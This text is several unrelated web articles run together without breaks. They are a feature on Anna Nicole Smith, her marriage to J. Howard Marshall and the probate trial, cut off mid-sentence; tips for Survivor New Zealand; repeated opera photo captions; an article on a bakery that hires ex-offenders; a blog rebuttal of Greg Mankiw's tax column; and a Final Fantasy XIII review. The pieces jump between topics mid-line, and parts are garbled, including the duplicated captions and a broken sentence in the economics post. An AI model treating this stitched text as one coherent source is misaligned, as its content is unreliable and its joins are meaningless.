Calling J. Howard Marshall “older” than Anna Nicole Smith would be as misleading as simply calling him “rich.” Born in 1905 to a Quaker family, he attended Yale School of Law, got rich on the East Texas oil boom of the 1930s, and got filthy rich after brokering a particularly savvy deal with Koch Industries in the 1960s. He was not just a successful businessman, but a Houston legend: a man who commanded both a fortune conservatively estimated at $1 billion, and the kind of business acumen generations of younger men coveted. He also had a soft spot for strippers. In 1982, after his second wife — a woman he had adored and nicknamed “Tiger” — was diagnosed with Alzheimer’s, Marshall found solace with Jewell DiAnne Walker, a 42-year-old Houston stripper known to both her intimates and her enemies as “Lady.” Marshall, who was 77 at the time, was, as he later said, “blinded by love. I did more or less what she asked me to do,” he claimed, “and I don’t make any bones about it. I was a damn fool. But men in love do stupid things, and I was sure guilty.”
Getty Images / Staff A younger J. Howard Marshall in an undated photo.
Later, many who chronicled the relationship between J. Howard Marshall and Lady Walker — much like those who would chronicle the relationship between J. Howard Marshall and Anna Nicole Smith — would assume that Lady meticulously extracted Marshall’s wealth, relying on her unique powers of seduction to get him to buy her a new Rolls-Royce because it matched her outfit, or to tip her fingers with 14-karat gold false nails. In 1984 alone, Marshall spent $1.2 million on Lady — but her demand for luxury seems to have been matched only by her suitor’s eagerness to provide it. He had found himself, at the end of his life, with more power and money than he knew how to use, and so he set about using them to attain the one thing he didn’t have. “To love and be loved — to a man who has dedicated his life to his work, this is truly life’s greatest experience,” Marshall wrote in one of his many letters to Lady Walker. In another: “I belong to you.” Marshall was devastated when Lady died suddenly while undergoing a facelift in 1991. His devastation turned to jealous rage when he saw that Lady’s will named another man as the love of her life. He had maintained that he accepted her sexual relationships with other men, but he seemed to believe that her affections, at least, were his and his alone — that his vast riches allowed him, as Mimi Swartz wrote in Texas Monthly, “to have a controlling interest in another human being.” After Lady’s death, Marshall sued to regain ownership of all the gifts he had lavished on her while she was alive. At the same time, he began turning his attention to a new woman: Anna Nicole Smith.
The Guess campaign also marked the moment when her new identity snapped into place, as it was Guess president Paul Marciano who rechristened her Anna Nicole.
By 1991, Anna had been seeing Marshall for three years, but only as much as his dedication to Lady Walker allowed. At the same moment that Marshall set his sights on Anna, however, the world set its sights on her. In 1991, Anna was also going out with a bodybuilder named Clay Spires, and, at his suggestion, she took her body to an open call for Playboy models. At first, she was scared to take her clothes off, but within a few months she was posing in the centerfold. In 1993, she was named Playmate of the Year, and would soon become famous beyond even Hugh Hefner’s world. She won roles in The Hudsucker Proxy and The Naked Gun 33⅓. She replaced Claudia Schiffer as the Guess Jeans girl, her ad campaign for the company blending smoky-eyed glamour with a smile as warm as Texas sunshine. The body that had been too much for the men of Houston was, in the pages of a magazine, suddenly just right. The Guess campaign also marked the moment when her new identity snapped into place, as it was Paul Marciano, Guess president, who rechristened her Anna Nicole. By emulating Marilyn Monroe, who herself seemed to embody her period’s idealized essence of feminine sexuality, Anna Nicole Smith had become, in the words of psychologist James Hollis, “an imitation of an imitation,” unburdened by any troubling specificity. She found her way into the pages of Playboy on her own, and landed the Guess Jeans campaign based on her visibility there. But Anna also knew that anyone who found out about her wealthy benefactor would refuse to give her any credit for reaching the spotlight on her own. It was a sense of legitimacy that she seemed to want badly, and she was keenly aware of how arbitrarily it could be snatched away from her.
Time Life Pictures / Getty Images From left: Bruce Willis, Roseanne Barr, and Smith at a Planet Hollywood opening.
By 1993, Anna Nicole Smith was famous enough to reach American living rooms not just through mail-ordered videotapes, but via primetime — though some remained reluctant to welcome her there. “I don’t dress up much,” Anna confessed during an appearance on Live With Regis and Kathie Lee. “And when you do, you don’t wear much,” Kathie Lee added. “Texas-sized model Anna Nicole Smith has proven that big can be beautiful,” Entertainment Tonight anchor Mary Hart said with a barely suppressed eye roll, in a segment that also noted its subject’s weight. “We caught up with Anna where she’s most natural: down home on her ranch, chasin’ critters.” In her Playboy video, she called it “my ranch I’ve wanted all my life,” and the tape also showed her playing there with her son, Daniel Wayne Smith, who was now a towheaded little boy of 7. “Daniel is truly the love of my life,” she said in the video. “I am so thrilled to be able to give him the things I never had. We just love playin’ on the farm with all of our animals. He’ll always be my number-one cowboy.” “It was worth it,” she told Entertainment Tonight, of her decision to pose for Playboy. “I mean, I’m here.” She also had not just one dream home, but as many as she wanted — though she was never clear on how she was able to afford them, or why her rise to fame had been so lucrative. She moved into a new house in Houston, but city life was still an adjustment (“When she could not sleep,” Dan P. Lee wrote in New York magazine, “she’d have her favorite sheep brought there from the ranch to cuddle with”). And when Anna went to Los Angeles to meet with all the photographers and directors who suddenly wanted to work with her, she rented a house that Marilyn Monroe had once lived in. “I finally feel like I’m becoming somebody,” she told People magazine in April 1993. “I really think like I can do something.”
Dmi / Getty Images A view of the engagement ring Marshall gave Anna Nicole as she signs an autograph, 1994.
As Anna’s career took off, Marshall might have felt he needed to up the ante to keep her affections. So he took her to Harry Winston, where, a salesperson later told Mimi Swartz, as if of a child in a candy store, “She was allowed to pick out what she liked.” The girl who had grown up stealing toilet paper from restaurant bathrooms selected three diamond rings, two diamond necklaces, two pairs of diamond earrings, and one diamond bracelet, for a grand total of $2 million. Later, when called on to describe her relationship with Marshall, Anna would say, “He took me out of a terrible place, took care of me. He was my savior. It wasn't a sexual ‘baby, oh baby, I love your body’ type love — it was a deep thank-you for taking me out of this hole.” What had helped her escape from that hole, it seemed, was a performed sexuality that she had honed to unmistakable clarity: a voice that reached up into the open air and beckoned someone to reach down and take her out of the life she was living. J. Howard Marshall heard her, and he lifted her up. Now it seemed the whole world could hear her too. When interviewed by Mimi Swartz, the owner of the wedding chapel where Anna and J. Howard Marshall married in June 1994 recalled Anna insisting, “I’m not marrying him for his money. He’s been begging me to marry him for over four years. But I wanted to get my own career started first. Have my own money.” Later, when Marshall v. Marshall was tried, for the first time, in Texas probate court in 2001, Anna recalled that she had initially refused Marshall’s proposals of marriage “so nobody could call me a gold digger, but I guess that backfired, didn't it?” The most widely televised moments in the Texas leg on Marshall v. Marshall — a traveling show that would eventually make it all the way to the Supreme Court — came when Anna Nicole Smith took the stand, beginning on the day after Super Bowl Sunday. Most of the time, Anna found herself facing off against Rusty Hardin, a former prosecutor whose unbroken winning streak with felony jury trials made him a living legend in Houston’s legal community. He represented J. Howard Marshall’s son Pierce, and his most prominent duty was his cross-examination of Anna Nicole Smith. She called him Rusty, and he called her Miss Marshall — a name that suggested she still existed under her husband’s name but couldn’t even claim the kind of legitimacy that would grant her an inheritance: a Miss. J. Howard Marshall had owned her outright, but she could not say the same of him.
Carlos Antonio Rios / Associated press Anna Nicole holds a photo of her late husband as she listens to his son testify during the probate trial in Houston, Oct. 5, 2000.
Hardin approached Anna with the scorched-earth strategy he had once loosed on accused rapists and murderers. He had always been particularly adept at convincing jurors that anything but a guilty verdict would render them guilty of aiding and abetting the erosion of human decency, and he recognized that it was beside the point to attempt to make Anna Nicole Smith look unsympathetic. She would do it all on her own. “Miss Marshall, have you been taking new acting lessons?” Hardin asks after she proclaimed her love for her late husband. “Screw you, Rusty,” Anna says tearfully. Backed into a corner, painted as both a manipulative liar and a dumb country girl, and challenged by a powerful man, she resorts to aggression. Nothing could make her look worse, or make Rusty Hardin’s job easier. “Are you contending,” Hardin says, during one particularly successful moment in his cross-examination, “that in December of 1994, this man … was being kept from giving you money by his son?” In the video of this portion of the trial — video that would eventually, inevitably, like so much of Anna Nicole Smith’s life, make it onto TV — Anna seems heavily sedated, but she is also intensely focused on keeping up with the proceedings. For once, she isn't withdrawn or defensive. She leans forward, listening carefully, trying to get it right.
"It's very expensive to be me," Anna Nicole Smith says at another point during her time on the stand. "It's terrible," she tells the jury, "the things I have to do to be me."
“Well,” she responds haltingly, “he told me that, um, Pierce would only give me $100,000 for my Christmas. I know that. And he asked me what I wanted, and that’s when I said half cash and half—” “Miss Marshall,” Hardin interrupts, “what kind of world is it when people start talking about ‘only $100,000 for Christmas?’” Anna’s counsel objects, but she doesn't seem to hear them. She knows the answer to this question. Finally, she's been asked a question she knows the answer to. “My husband spent hundreds of thousands of dollars on me,” she explains, as if this had perhaps simply never occurred to Rusty Hardin. “A hundred thousand dollars is not a lot of money to me.” “So — pardon me?” Hardin says, and this is the moment when he realizes he has what he needs. He’s set the trap and she’s walked straight into it, without so much as a backward glance. “A hundred thousand dollars is not a lot of money to you?” he repeats. “No, sir,” Anna says. “My husband threw money at me. You don’t understand. I mean, he — it — my—” She tries to find words that describe the sheer magnitude of the experience. She can't. Of course she can't. No one has ever really been able to; if they could, then maybe people wouldn’t be quite so ready to hate her. For neither the first nor the last time during the case, Anna Nicole Smith is at a loss for words, but this time she doesn’t seem angry or ashamed. Instead, she smiles, perhaps at the memory of the time when a powerful man’s desire to take care of her was the driving force in his life, and he was powerful enough to make the whole world want to take care of her, too. “It's very expensive to be me,” Anna Nicole Smith says at another point during her time on the stand. “It's terrible,” she tells the jury, “the things I have to do to be me.” The jurors ruled in Pierce Marshall’s favor, but the case dragged on, and Anna's role in the ongoing saga cemented her status as a national punchline. It was a part she had already been playing for years. The only difference now was that there seemed no hope she could ever escape it.
Jemal Countess / Getty Images Personal affects and other items that belonged to Smith that were up for auction on display during the press preview for the sale of the Estate of Anna Nicole Smith at Planet Hollywood Times Square in New York City, May 13, 2010.
But Anna Nicole Smith’s descent from stardom — and the sense of safety it afforded, illusory as it was — had already begun to gather speed years before, in August 1995, when J. Howard Marshall died of stomach cancer. By then, Anna had already been outed in the press as woman who had married a man for his money, and bought the body that made her famous. After she began fighting her husband’s heirs for the lifelong financial security she said he had promised her, her stock declined even more dramatically. As she grasped for the money that was slipping away from her, and struggled to maintain the beauty that had been her only other source of safety, the media outlets that had celebrated her seemingly serendipitous rise to fame now took just as much delight in dismantling it. In 1995, Anna starred in To the Limit, an ultra-low-budget thriller whose director, Ray Martino, introduces her character as she gazes into the mirror, admiring her curves to the strains of “Ave Maria.” Anna moved in with him soon after J. Howard Marshall’s death, gained weight, deepened her dependence on prescription drugs, cut ties with her family, sucked on pacifiers, and declared bankruptcy.
Rights Managed / PM Entertainment Group / Ronald Grant Archive / Mary Evans, Paramount / Courtesy Everett Collection Anna Nicole in scenes from To the Limit (1995) and Naked Gun 33⅓ (1994).
Dan P. Lee reported in New York magazine that, one day in 1995, as Martino was leaving to take Daniel to school, Anna told him, “I don’t wanna be alive no more.” He comforted her, left her alone, and returned to find she had overdosed. She survived, but ongoing physical pain, as well as feelings of anxiety and persecution, threatened to overwhelm her. “She didn’t look like the glamour girl she tries to be,” a voiceover says in an Extra segment on Anna’s appearance at the 1996 Academy Awards. “Her shoulder-length hair seemed to go everywhere, and her lipstick looked slopped on.” Yet the show left its most damning accusation to its subject. “I’m not fat!” Anna says to the cameras, slurring her words as she tries to cinch the waist of her dress beneath her famous breasts. And she wasn’t. But she had betrayed the public by failing to maintain the fantasy body she had become famous for. She had returned to the camera’s gaze after a rehab stay at the Betty Ford Center, healthier than she had been before, but different. Anna Nicole Smith was still beautiful, still desirable, and she still had the body she had worked so hard to build. But the cracks were showing. A fantasy body was not supposed to feel pain or undergo addiction, not supposed to age, to change, to betray the most intimate facts of its owner’s existence — but Anna’s did. It was perhaps not the actual changes her body underwent but the fact that her body could change at all that turned the public against her. She was a fantasy. The rules were simple. How dare she break them?
James Aylott / Getty Images Anna Nicole with Peter Kamka at Drai's restaurant after the Oscars, 1996.
“It’s hard to believe what can happen,” Anna had told Skip Hollandsworth in 1993, “just because people want to get a look at you.” Now the public was scrambling to look at Anna Nicole Smith not in wonder, but in disgust. In 2002, with offers for mainstream movie roles now well in the past, she agreed to star in E!’s The Anna Nicole Show. “It all disappeared as fast as it came,” the theme song went, as a cartoon Anna danced on a stripper pole, watched her stacks of money vanish, and brushed herself off, vibrant and unstoppable as ever. “Only four days old,” Carina Chocano wrote in Salon, “The Anna Nicole Show has already been compared to a train wreck (the Hollywood Reporter, the Tampa Tribune, the Christian Science Monitor and the Hartford Courant), a car wreck (the New York Times and the San Francisco Chronicle) and a cruel, exploitative joke. … If a flamboyant sense of the vulgar is all that Anna Nicole has left (she has yet to collect on her late husband’s massive fortune), then, to her credit, she is milking it for all it’s worth.” Some reviews were even more blunt: “There's really no nice way to put this,” Tim Goodman wrote in SFGate. “She comes off as dumb as a post.” Yet, for as long as Anna remained in the spotlight, it was possible to see her as someone who was savvy enough to profit off of the public’s enduring fascination with her, and to maintain some tawdry brand of power over the American people — rather than a human commodity who TV networks and advertisers could profitably push into demeaning and damaging work, so long as she was desperate enough to take it. The reality the show depicted was a little more complicated. Anna Nicole Smith was falling apart, but it wasn’t her body that had changed so much as her ability to control its power. By the time the series premiered, the act of simply inhabiting it seemed to exhaust her. Regardless of whatever prescription drugs she had or had not become dependent on by that time, she was often, for whatever reason, not entirely there: vacant or nonresponsive or simply half-asleep. She could no longer do the things she had to do to be her. Anna’s ongoing troubles were painfully visible on her reality show. In one episode, she goes to the dentist to have her teeth capped with 20 crowns, since the stress of Marshall v. Marshall has caused her to begin grinding her teeth, leading to lasting nerve damage. “I only started going to the dentist in my twenties,” she tells the reality show’s cameras. “I hate the dentist because they hurt me … I told ‘em they had to knock me out good.” The episode shows Anna’s lawyer and dedicated protector, Howard K. Stern, who Anna shared a close but apparently nonsexual relationship with during the last several years of her life, leading an already heavily sedated Anna to the dentist’s office, and reassuring her that they will knock her out good as soon as they get her in the chair. Much of the series shows Howard maneuvering Anna through various hallways, comforting and cajoling her, trying to make the world seem a little less harsh, and often failing. Of all the elements that killed The Anna Nicole Show’s ratings, perhaps the most damning was its contradiction of that most beloved of American dreams: the rags-to-riches story. It’s a phrase that doesn’t exactly lie, except by omission, suggesting that poverty is only ever an external condition — a question solely of how much money you have in the bank, and could never be, as it so frequently is, a legacy of poor health, disability, abuse, and helplessness both literal and learned. In the American dream, poverty is easily banished and rarely returns — and never shows up to stand outside your house, staring in at you, as Anna Nicole Smith’s cousin Shelly did in one episode.
Of all the elements that killed The Anna Nicole Smith Show's ratings, perhaps the most damning was its contradiction of that most beloved of American dreams: the rags-to-riches story.
“Don't let 'em do this to me,” Anna says, half-asleep, when Howard informs her that her cousin has shown up at her door, along with a film crew. “I don’t trust nobody,” says Anna, who by this point refuses to see any member of her Texas family. “I’ve already had them fuck me over.” Shelly’s camera crew ends up in a standoff with Anna’s camera crew. Shelly’s crew relents, and Anna’s crew films her eating doughnut holes and milk, slowly rising out of her stupor, and listening, with growing curiosity, to Howard’s description of Shelly. “She didn’t have no teeth?” Anna asks, shocked. But a moment later, she can think of at least one explanation. “She didn’t take care of herself,” she concludes. “She must not have a boyfriend, then.” “How old is she?” Howard asks. “I couldn’t even tell how old she was. I couldn’t tell if she was, like, 25 or if she was, like, 50. Seriously.” “She looks that bad?” “No, it’s just — it just was the teeth.” “She’s young,” Anna says. “I fixed her teeth before. They were all black … and I fixed them to where they were all white and pretty. I guess she fucked them up again.” Finally, Anna agrees to go to dinner with Shelly if they can be filmed exclusively by Anna’s crew, and Shelly agrees. Even in the grainy and awkwardly edited format of early reality TV, the dynamics of the relationship in that moment are clear, and painful to behold. Shelly is working hard to draw Anna out, to make her reminisce with her, to reconnect. Anna is reluctant, holding herself back, not seeming fully present in the conversation — maybe because she’s worried Shelly will ask her for money (she will), and maybe because remembering the part of her life that Shelly is connected to is just too painful. Because she does not want to be the person who knows this life. “You still got your beautiful hair,” Anna says to Shelly, and Shelly asks Anna for a picture where she is smiling, so Shelly can ask the dentist to make her teeth just like Anna’s. Shelly doesn’t eat, just drinks, and when customers at the bar send a drink over to Anna (“They want you to do a shot,” Howard says wearily), Shelly drinks it for her. “I swiped a doctor,” Shelly says, near the end of the night. “I did! When I was deliverin’ Harley. You know how they do the finger thing and see how far along you are and all this ’n’ that |
a puzzle every time would also be great. 🙂
#8 Online Content
I love the idea of Little Survivor, 2 or more people chatting about the greatest show in the world Survivor. But in practice it did not work. Matty McLean is great, but was not used correctly. He is a huge fan of the show, so let him show it and talk about it. It is amazing that TVNZ went to the effort to make a show for Superfans of Survivor. But you need to make it something Superfans would want to watch. Survivor is not the Bachelor!
On Facebook, players were interviewed for around 3 minutes on camera. The questions were not great. This is something that Matty McLean should do. It is also essential you film a Ponderosa/Jury Villa (Villarosa… i’ll make it a reality one day) after the merge. This kind of content is amazing and gives great insight into what is going through the minds of the eliminated players.
#9 Episode structure.
This is for TVNZ about the timing and pacing of the edit. If TVNZ want 2 episodes a week again, then the longer 90 minute episode needs to be the episode with a tribal council. The long 90 minute episode at times was like watching crabs race in the sand… wait that happened and was great… Fix it.
#10 A few more strategists.
I loved the 2017 Survivor New Zealand cast. It is probably my favourite new player cast from 2017 from all Survivor seasons worldwide this year. However it lacked a killer punch. We needed another standout, who could fight against the honesty and loyalty of Sala and Avi. Join the dark side my friends!
Final Thoughts
I’m bias, because I loved the cast and the show this year. But we can all admit faults. Next year the game play will take a natural step forwards. With more prize money, now up to $250,000 and the show being seen this year by the new cast, 2018 Survivor New Zealand will be well worth watching.
In the end you may just decide to do it your way. 😉
What do you think, what would you change about Survivor New Zealand for the next season? Find all our interviews with the 2017 Survivor New Zealand cast here.
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Chris Detrick | The Salt Lake Tribune Utah Opera director Tom Diamond works with soprano Nicole Haslett, 'Lucia,' and tenor Mack Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and baritone James Westma, 'Enrico,' act out a Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and baritone James Westma, 'Enrico,' act out a Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' acts out a scene from "Lucia di Lammermoo Chris Detrick | The Salt Lake Tribune Utah Opera baritone James Westma, 'Enrico,' acts out a scene from "Lucia di Lammermoo Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and tenor Mackenzie Whitney, 'Edgardo' act out Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and baritone James Westma, 'Enrico,' act out a Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and tenor Mackenzie Whitney, 'Edgardo' act out Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and baritone James Westma, 'Enrico,' act out a Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and tenor Mackenzie Whitney, 'Edgardo' act out Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' tenor Mackenzie Whitney, 'Edgardo,' and barito Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' and baritone James Westma, 'Enrico,' act out a Chris Detrick | The Salt Lake Tribune Utah Opera soprano Nicole Haslett, 'Lucia,' tenor Mackenzie Whitney, 'Edgardo,' and baritoclick to enlarge Sue Jackson (left) and Kalen McAllister (right) of Laughing Bear Bakery
There aren’t many jobs out there where "felon" is a prerequisite.
But at Laughing Bear Bakery, a small team of bakers is churning out delicious treats with passion — and criminal records.
One of the major cited factors for recidivism is the inability to find gainful employment, says Laughing Bear founder Kalen McAllister. The goal of Laughing Bear, however, is to provide a starting point for recently released ex-offenders, giving them a work history and practical job skills.
“I used to be a prison chaplain. And before guys would get out they’d come to me, shaken,” McAllister says. “They get $8.50 and a one-way bus ticket to where the crime was committed … you eat lunch at McDonald’s, and then it’s over—then what do you do? They have trouble getting a job because they have a record."
Laughing Bear is the rare exception to the usual HR policy. Boasts McAllister, "We only hire ex-offenders.”
McAllister, who is an ordained Buddhist priest and landscaper as well as former chaplain, founded Laughing Bear in November 2015. It began as a nonprofit and work-skills program within Inside Dharma, an outreach organization that offers Buddhist teachings to incarcerated and ex-offenders. In 2016, Laughing Bear moved to an incubator commercial kitchen at Centenary United Methodist Church in Midtown.
Currently, the program employs three ex-cons at higher than minimum wage, and they hope to hire a fourth soon. Former employees have graduated to other jobs. One Laughing Bear alum now manages a restaurant.
“Everyone you talk to in criminal justice says, ‘they have to have a job,’ and how can they do that? People don’t want to hire an ex-felon,” says Sue Jackson, a volunteer with Laughing Bear. “That’s why this is such a win-win. Not only are they learning how to work in a commercial kitchen, but they suddenly see value in themselves…they are so proud of their product. For some of them this is probably the first time they’ve had anyone go to bat for them, and go to the trouble to promote something they’re doing.”
The Laughing Bear team offers a range of old-fashioned baked goods, from key lime and chocolate bourbon pecan pies, to raspberry gooey butter cake and gluten-free almond flour cake sweetened with honey. They also offer an Easter basket filled with assorted goodies, and decorative Easter eggs. Their best seller by far is a box of sweetened corn puffs with caramelized sugar. Its official name is Bear Candy, but they have affectionately nicknamed it "crack."
click to enlarge The 'crack:' Bear Candy sold by Laughing Bear
“One woman bought some on her way home for her kids, and it never made it,” McAllister says. “If you have it, you’ll understand why.”
Because the team is small, it’s a friendly and collaborative environment, McAllister says. There are no titles, and everyone has an equal say in crafting the recipes. There are arguments, but they never get in the way of making great food.
McAllister knows that far too many ex-offenders who need a job.
“When I retired from being a chaplain, I said ‘I’m going to do something about this problem.’ And some people were like, ‘But you’re only hiring three or four people!’” she says. “It’s kind of like the story of the guy with a starfish that washes ashore and throws it back; he says he can’t get them all, but this one’s grateful. Every person that we touch, touches other people.”
Laughing Bear currently sells its baked goods from 9 a.m. to noon outside All Saints’ Church in University City, where they share a space with Long Acres Farms’ market stand (that stand is also open Thursday through Saturday from 8:30 a.m. to 5:30 p.m. Laughing Bear products are also available at Fair Shares CCSA and Farm to You Market in Washington, Missouri.An email from Mark Thoma saying that it sounds like Greg Mankiw is giving up his New York Times Economic View column because President Obama does not want to extend the temporary Bush tax cut on the marginal rates applied to high incomes.
It certainly sounds like it. The New York Times pays $650 a column and, Greg says, at anything less than the temporary Bush marginal rates on high incomes, that just is not enough:
Greg Mankiw:: AN important issue dividing the political parties is whether to raise taxes on those earning more than $250,000 a year. Democrats say these taxpayers can afford to chip in a bit more. Republicans say raising taxes on those who already face the highest marginal tax rates will hurt the economy. So I thought it might be useful to do a case study on one of these high-income taxpayers. Fortunately, I have one handy: me.... I can afford to pay more in taxes.... I have been very lucky.... I don’t have trouble making ends meet.... I am almost completely sated.... I don’t aspire for much more than a typical upper-middle-class lifestyle.... [B]ut I [do] hope to put some money aside for my three children. They will never lead lives of leisure, but I hope they won’t have to struggle to find down payments to buy their own homes or to send their kids to college. Suppose that some editor offered me $1,000 to write an article.... If I invested it in the stock of a company that earned, say, 8 percent a year on its capital, then 30 years from now... assuming that the Bush tax cuts expire, I would pay 39.6 percent in federal income taxes... the phaseout of deductions adds 1.2 percentage points... Medicare... 3.8 percent... 5.3 percent in state income taxes... the corporation in which I have invested pays a 35 percent corporate tax.... the estate tax.... Most likely... my kids will get... $1,000.... [W]ithout the tax increases advocated by the Obama administration... that writing assignment would yield my kids about $2,000.... Now you might not care if I supply less of my services to the marketplace — although, because you are reading this article, you are one of my customers. But I bet there are some high-income taxpayers whose services you enjoy.... Like me, these individuals respond to incentives. (Indeed, some studies report that high-income taxpayers are particularly responsive to taxes.) As they face higher tax rates, their services will be in shorter supply...
I think that this is a big mistake for two reasons: one moral-political and one economic-analytical.
Let me deal with the economic-analytical reason first:
First, start with the fact that tax on Greg's current writing earnings because he wants to leave more to his children in thirty years will be higher than today's current Bush-era tax rates. But they will not be higher because of anything Barack Obama has done or failed to do. They will be higher for three reasons. First, George W. Bush and his advisors--of whom Greg Mankiw was one--failed to find any spending offsets in order to pay for the temporary Bush reductions in tax rates. Second, George W. Bush and his advisors--of whom Greg Mankiw was one--enacted a very large long-term spending increase without figuring out any way to pay for it: Medicare Part D. Third, George W. Bush and his advisors--of whom Greg Mankiw was one--enacted a second very large spending increase when they responded to Al Qaeda by greatly increasing the size of a conventional military which is of not much use in our current struggle, and also did so without figuring out any way to pay for it.
As Milton Friedman liked to say, and as he did say when he--I am told--yelled at George W. Bush during his 90th birthday celebration at the White House--to spend is to tax. Will the spending, and you will the taxes. If somebody claims to have cut your taxes without cutting spending, do not believe them: all they have done is to shift taxes forward into the future, and made taxes on current consumption lower while making taxes on long-term transfers of wealth into the future higher.
The sooner taxes are raised in order to pay for Medicare Part D, the expanded U.S. military, other pieces of Medicare and Medicaid spending growth, and to offset the revenue lost over the past decade of the Bush temporary tax cuts, the lower the taxes on Greg's saving for his children's inheritance will be. That Barack Obama is taking some steps to restore fiscal sanity should diminish his view of the risk-adjusted taxes his long-run savings will pay, and make him more willing to write for the New York Times--not less.
But there is more. The two biggest long-run policies that Barack Obama has set in motion over the past two years have been (a) the entrenchment of future reductions in Medicare spending growth designed by the Independent Payment Authorization Board so that they can only be overturned by affirmative congressional supermajority votes to prevent them, and (b) the enactment of a growing and eventually very large tax on high-cost health-insurance plans. Now these policy changes may not survive--the Republicans are pledged, to a sophont, to repeal both of them. But if they do they greatly reduce the amount by which income and other taxes must rise over the next generation. And so they make the expected taxes on Greg's saving-for-his-children's-inheritance significantly lower.
If Greg wrote one column a month before Obama took these big steps to restore long-run fiscal balance to the U.S. federal government, the prospect of lower tax rates on his saving-for-his-children's-inheritance should induce him to write three columns a month now.
Second, Greg says that it's worth it for him to write columns if they generate $2000 in net bequeathed wealth in 2040 but not if they generate $1,000. But that shouldn't be why anybody writes columns. Indeed, if people write columns not because they are driven to inform and educate their readers but rather because it is a way to make money to leave to their children--well, then those columns will be written not to inform but to entertain, and so they will be worthless as sources of information and education (rather than as sheer entertainment) to their readers.
I do not think society can survive if the voices writing on political-economic issues in our public sphere are doing so not to inform but merely to entertain. I think that society can only survive if those who write columns are driven by a geas to make Americans better-educated citizens but rather to leave more wealth to your children. We ought to write columns not because we think our children will need extra money in thirty years, but because we think our fellow-citizens need better information now.
Indeed, I don't think America can long survive if we treat our contracts with newspapers merely as ones in which we craft words qnd they pay us money, and in which we craft our words to make as much money as we can.
Edmund Burke, I think, put it best when he said that society can only survive if at the very least it is a long-term partnership, and ought to have much more of social gift-exchange than that. As Burke wrote, we ought not to speak of a "social contract" in which each narrowly counts their contributions and benefits. And if we do speak of a "social contract," we must recognize that that is far from being a complete description:It’s been almost four years since the last Final Fantasy. A new generation of gaming, a long development cycle, and a controversial multi-platform announcement have all led us to the release of Final Fantasy XIII.
The first in a trilogy of XIII related games entitled Fabula Nova Crystallis (with the other two parts being Versus for the PlayStation 3 and Agito for the PSP), Final Fantasy XIII is a new breed of Final Fantasy. Story-wise, all the staples are there. Each of the six protagonists was built on previous characters in the series, and while there’s a noticeable amount of corny melodrama in the script, that’s come to be expected from the franchise and many will find it endearing.
Set in the floating civilization of Cocoon and the looming world below known as Pulse, the game follows the exploits of six characters from different walks of life and their struggle against the corrupt government, powerful super-beings, and fate. Most will recognize Lightning, the strawberry-haired heroine who adorns the box art, and she is accompanied by a motley crew of five others, all of whom receive a relatively equal amount of attention where character development and backstories are concerned.
As previously stated, the writing is hit-or-miss on occasion, but it’s rarely preachy or awkward enough to warrant a cringe. Earlier parts of the plot are told in a non-linear fashion as you follow each character separately with flashbacks filling in the gaps. Unfortunately, further elaboration even into the game’s first half hour would constitute spoilers, but rest assured that the plot will certainly hold your attention over the 50+ hours it’ll take for you to beat the game.
The path that takes you through the game is remarkably linear, offering scant few opportunities for exploration. There are no towns in the traditional sense seeing as save points function as shopping terminals. Later on in the game, players will find a Calm Lands-like expanse full of enemies ripe for farming, but beyond that, it’s a straight line to the next story cutscene with a few detours for hidden treasure chests.
However, the primary gameplay mechanic occupying those 50+ hours is, of course, the battle system. Built off a modified version of the long standing Active Time Battle (ATB) system, combat in FFXIII is streamlined for speed, efficiency, and fun. Veterans of the series will notice when control has been wrestled from their hands, but the game does a remarkable job of being your co-pilot when it comes to encounters.
The most immediate difference between this battle system and the 12 that preceded it is the fact that you only control one character in your party; the leader. With only three to a party, the computer takes charge of your companions and, for the most part, does exactly what the player would do if given the opportunity. It’s also worth mentioning that unlike in Final Fantasy XII, which had the Gambit system that allowed players to indirectly dictate AI behavior, FFXIII assumes full control over your allies when in battle. The new ‘Auto-Battle’ option is also a Godsend that lets the game choose the best course of action, allowing players to breeze through smaller and incidental encounters.
Accompanying the ATB system, which has been changed to allow chain attacks and action queues, is the Role System. Reminiscent of the Jobs Systems of the older titles, there are 6 Roles tailored for different play-styles, each with different abilities, perks, and disadvantages. Commandos are brute-force attackers whereas Medics do nothing but heal the party. When these Roles are combined, ‘Paradigms’ are formed, with some suited for offense and others suited for defense. Knowing how to build Paradigms and play each character to his strengths is required to succeed in the battle, and battles that require on-the-fly Paradigm Shifts will definitely keep players on their toes.
Another vital part of combat is the new ‘Stagger’ mechanic. Enemies have damage thresholds which, when reached, severely weaken their defenses. Certain Roles and attack types give big boosts to the ‘Stagger Gauge’ whereas others keep it from dropping. This requires players to employ more than the “do the most damage at all times” tactic and it’s the only way you’ll ever defeat some of the stronger enemies.
The final facet of battle is the Summon system. Each character has a connection with an ‘Eidolon;’ an incredibly powerful otherworldly creature who can be called upon in certain circumstances to provide a large offensive strike against a formidable foe. Players will also grow to love the fact that your party’s health is replenished after each battle. It might seem like the game is making it too easy for you, but developers giveth and taketh away. Even though Potions affect the entire party as opposed to one character and a ‘Retry’ option lets you restart moments before you enter the battle that resulted in your death, Gil is frustratingly scarce and opportunities for grinding are few and far between until later in the game.
While the early battles in the game might seem almost neutered, as new elements are introduced, the complexity of the battle system increases exponentially. By about 10 hours in, the fact that the computer is controlling two thirds of your party will hardly be noticeable as you’ll be far too busy timing your attacks and managing other elements. It’s a deceptively simple looking system that makes combat fast and frenetic and proves to be one of the best in the series.
Character development is based on two things: Roles and Equipment. Each character has a set roster of abilities for each Role and it’s all handled with the ‘Crystarium;’ a tiered network of nodes similar to the Sphere Grid from Final Fantasy X. Certain characters are suited for certain roles and while there is a bit of wiggle-room in that area, it becomes clear that the developers intended there to be an ideal party.
